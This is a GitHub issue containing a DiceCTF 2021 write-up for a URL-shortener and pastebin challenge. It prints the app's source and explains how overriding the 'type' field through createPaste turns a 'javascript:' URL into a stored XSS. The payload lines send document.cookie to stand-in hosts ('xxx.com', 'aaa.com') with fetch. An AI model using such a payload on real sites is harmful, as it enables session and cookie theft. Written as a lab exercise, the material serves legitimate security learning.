Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

DiceCTF 2021 - Web Utils #16

Open
aszx87410 opened this issue Feb 8, 2021 · 0 comments
Open

DiceCTF 2021 - Web Utils #16

aszx87410 opened this issue Feb 8, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

It's a service for shorten url and pastebin:

source code:

const database = require('../modules/database');

module.exports = async (fastify) => {
  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');
      if (! regex.test(req.body.data))
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'Invalid URL'
          });
      database.addData({ type: 'link', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data: uid
        });
    },
    schema: {
      body: {
        type: 'object',
        required: ['data'],
        properties: {
          data: { type: 'string' }
        }
      }
    }
  });

  fastify.get('data/:uid', {
    handler: (req, rep) => {
      if (!req.params.uid) {
        return;
      }
      const { data, type } = database.getData({ uid: req.params.uid });
      if (!data || !type) {
        return rep
          .code(200)
          .header('Content-Type', 'application/json; charset=utf-8')
          .send({
            statusCode: 200,
            error: 'URL not found',
          });
      }
      rep
        .code(200)
        .header('Content-Type', 'application/json; charset=utf-8')
        .send({
          statusCode: 200,
          data,
          type
        });
    }
  });
}

And it's the source code for front-end:

<!doctype html>
<html>
<head>
  <script async>
    (async () => {
      const id = window.location.pathname.split('/')[2];
      if (! id) window.location = window.origin;
      const res = await fetch(`${window.origin}/api/data/${id}`);
      const { data, type } = await res.json();
      if (! data || ! type ) window.location = window.origin;
      if (type === 'link') return window.location = data;
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>
</head>
<body>
  <div style="font-family: monospace"></div>
</bod>
</html>

First, it gets data from api and then either set content for pastebin or use window.location for redirecting user from shorten url to original url.

This chall also has a admin bot so we can assume the solution is XSS and steal cookie.

But how?

I spend some time to think about how to do XSS, because document.querySelector('div').textContent = data; is impossible to XSS.

Then I found window.origin is suspicious so I googled it and found this:What is window.origin?

It's seems we can manipulate window.origin by embed it inside an ifame. Because window.origin will return parent window origin.

But it's not the point, it's nothing to do with window.origin.

When I find this stackoverflow, it suddenly and randomly reminds me that we can use window.location to do XSS!

Like this:

window.location = javascript:alert(1)

So we can have a payload like this:

window.location = 'javascript:fetch("xxx.com?c="+document.cookie)'

Next, we need to create a shorten url with long url: javascript:fetch("xxx.com?c="+document.cookie).

But there is a validation to check if url starts with http/https:

const regex = new RegExp('^https?://');
if (! regex.test(req.body.data))
  return rep
    .code(200)
    .header('Content-Type', 'application/json; charset=utf-8')
    .send({
      statusCode: 200,
      error: 'Invalid URL'
    });

While createPaste doesn't do validation and deliberately use object destructuring:

fastify.post('createPaste', {
  handler: (req, rep) => {
    const uid = database.generateUid(8);
    database.addData({ type: 'paste', ...req.body, uid });

So we can override type and use createPaste to create url:

{
   "data":"javascript:fetch('https://aaa.com?c='+document.cookie)",
   "type":"link"
}

After we have this shorten url, we can submit the shorten url to admin bot.

When admin bot visit this url, it will run:

window.location = javascript:fetch('https://aaa.com?c='+document.cookie)

We can get the flag then.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant